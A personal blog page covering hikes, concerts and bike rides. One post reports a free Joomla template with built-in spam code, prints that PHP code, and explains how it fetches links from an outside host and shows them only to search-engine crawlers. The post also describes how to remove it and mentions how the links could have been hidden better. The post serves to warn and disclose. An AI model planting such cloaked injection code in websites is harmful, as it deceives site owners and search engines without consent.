Author: kirby (page 1 of 2)

Great “WINTER” hike today

Spent much of today out in Hocking Hills with my better half and friend Steve hiking the trails, having beans and cornbread and enjoying an unusually warm January day.

Nope, it’s not me and no, he wasn’t hurt but it sure was funny.

via GIPHY

Hiking in Hocking Hills

Wow! It’s been awhile since I have updated my own site. I’m always so busy working on someone else’s that I tend to neglect mine. So, let me share what we did today. Six miles hiking in Hocking Hills from Ash Cave to Cedar Falls and back. It was an extremely warm day for late February. Things are starting to turn green in places though. Spring is just around the corner!

image

image

image

image

image

Kim Taylor & Ruthie Foster at 20th Century Theater

The wife and I ran up to Cincinnati yesterday evening to see two great women singer/songwriters. Our Cincinnati friend Kim Taylor who opened up for the fantastic Ruthie Foster. Kim entertained us with some new songs from her latest CD “Love’s A Dog”, some of her older stuff and a new tune that may be on her next record. Afterwards I got a chance to chat with her and get a picture.

Ruthie then came on stage and just blew the roof off the place! What a unbelievable voice! She did about 90 minutes of some new songs from her latest CD and some old goodies. Her rendition of Johnny Cash’s Ring of Fire was absolutely gorgeous. Ruthie is a definite must see if you ever get a chance!

This slideshow requires JavaScript.

Amos Lee at the Paramount in Ashland, KY

Amos Lee on stage solo

Amos Lee on stage solo

I spent last Tuesday evening listening to singer songwriter Amos Lee. It was a great show. The acoustics at the Paramount Theater are excellent. It had me wishing that the show was being recorded. The sound was that good. He played for about two hours to a packed house. I would highly recommend seeing Amos live if you get a chance.

Here are some pics from that night.

This slideshow requires JavaScript.

Kentucky Century Challenge Completed!

I spent my day last Saturday riding the fourth & final century of the Kentucky Century Challenge around Elizabethtown, KY doing the Hub City Tour. It went extremely well! I felt strong through the entire ride and avoided any legs cramps. At least until the four hour drive home afterwards! My nephew Randy joined me on this one and completed his very first century. Way to go Randy! The weather was cloudy and cool most of the ride but we had to deal with a pretty constant 10 mph wind coming from the North West. So I accomplished the goal I set for this year and will receive the coveted jersey. Next year my goal is to do a 400 mile ride in Canada from Toronto to Montreal.  I’ve never been to Canada, so I’m looking forward to it!

A few pics from the ride.

IMG_20140913_110648

 

IMG_20140913_114939

IMG_20140913_131838

IMG_20140913_173326

IMG_20140913_173353

Avoid Using These Joomla Templates!

I took a job about a year ago with a equipment dealership as their IT support person. My job basically consists of handling any computer related issues they may have such as software & hardware installations and upgrades, network administration, security, you name it. One of the other things I was put in charge of was their website. I had some experience with website development prior to coming on board but I had never really been a bonafide webmaster before where I actually got paid for doing it. So I setup a new hosting account with Dreamhost and I played around with Drupal and Joomla to kind of figure out which one I wanted to go with. I selected Joomla because I had the most experience with it and I found more templates for it that I liked. I finally settled on a template called Liberty from this website, http://joomlatemplates.me/. It was a free template but I liked the looks of it and thought I could make a pretty decent looking site from it.

Well, things were going along fine and the site was getting tweaked and improved over time when one day I see these links appear at the base of the home page during one of my many times of checking things over. They looked like Italian words to me so I did a Google search for them and discovered lots of websites with those exact same words. I started clicking links to look at the sites and every single one of them was using the same template as me. My first thoughts were that the template had some vulnerability in the code somewhere that someone had taken advantage of and I contacted the template developer about my situation only to never hear back from them. Finally, I tracked down where my problem was coming from and it looks like it was built right into the template by the author. I went back to his website and checked some of the other templates he had and they all had the same code inserted into the files. So I don’t know if this was deliberate or if his site was compromised but I certainly couldn’t have spam links showing up on our business site. My goal is to develop our own Joomla template for the next site update which is probably going to come sooner than I had originally planned, but the fix for my current problem was fairly easy to fix.

First start with the index.php file in the templates root directory and remove the line referencing templates.php. In my template it was under the #comp-wrap div section.

<code>

<div id="comp-wrap"> 
 <jdoc:include type="message" />
 <jdoc:include type="component" />
 <?php include "html/template.php"; ?> 
 </div>

</code>

Then under the html directory remove the files template.php and mods.php. That’s it.

This is the code from the template.php file:

<code>

<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me3.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) { 
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>

</code>

What the above code does is grabs the page url and passes it as a random generator seed to  the website psdu.net to retrieve new spam links. It then checks if the mods.php has been changed in the last 24 hours and if not, writes the new spam links to mods.php. Then it waits for one of the search bots to show up to index the site and it plugs in the links so they will be indexed with the page.  If the website’s cache is set to clear at a certain interval like mine is, then the links would be cleared away, making it really hard to catch them. If the guy was really smart he would have checked the background color of the div section and made the link text the same color. Then the links would have been invisible to the observer while they were still being published on the page. If he had done that, I probably never would have caught this at all!

My aim here is to give a heads up to anyone else using this guys templates, certainly not to teach anyone how to publish spam links in secret code. I myself, take the trust placed in me with peoples computers and data very seriously and I would hope that others in my field would too, but that’s unfortunately not the case. I just hope this helps someone else who may be searching just like I was for an answer to what was going on with my website.

Cheers!

Fun Day Riding The Xenia Trails

Spent the day with the wife and our best friends riding bikes on the trails around Xenia, Ohio. Wonderful leisurely day!

This slideshow requires JavaScript.

Tri-County Trail Cookie Ride

Had a great time this past Sunday riding the 75 mile Tri-County Trail cookie ride with my riding buddies, Kevin, Randy, Tammy & Brian. The weather was overcast but the rain held off and clouds kept things from feeling too uncomfortable. Tammie and Brian split off and did the 50 mile course. I have to hand it to Brian! He’s one tough cookie! 50 miles on a hybrid using flat pedals! Kevin, Randy & Brian each set distance records for themselves. Randy says he’s going to join me in September at the Hub City century. It will be nice having a partner and not having to do it alone.

Here are a few pics from the ride.

This slideshow requires JavaScript.

Great show! Steely Dan at the Palace in Columbus!

steely dan

Steely Dan at the Palace Theatre

Had a great evening last night with my wife seeing Steely Dan at the Palace Theatre in Columbus, Ohio. They played for two hours and got a bunch of their hits in but still missed a few. They didn’t do “Any Major Dude” or “Deacon Blues” but they rocked it with “My Old School” and “Reeling In The Years”. I was a little apprehensive that they weren’t going to sound that good but they blew me away! The band was tight! If you’re a Steely Dan fan and have a chance to catch their tour this Summer you definitely want to go!

Older posts

© 2017 kirbyplanet

Theme by Anders NorenUp ↑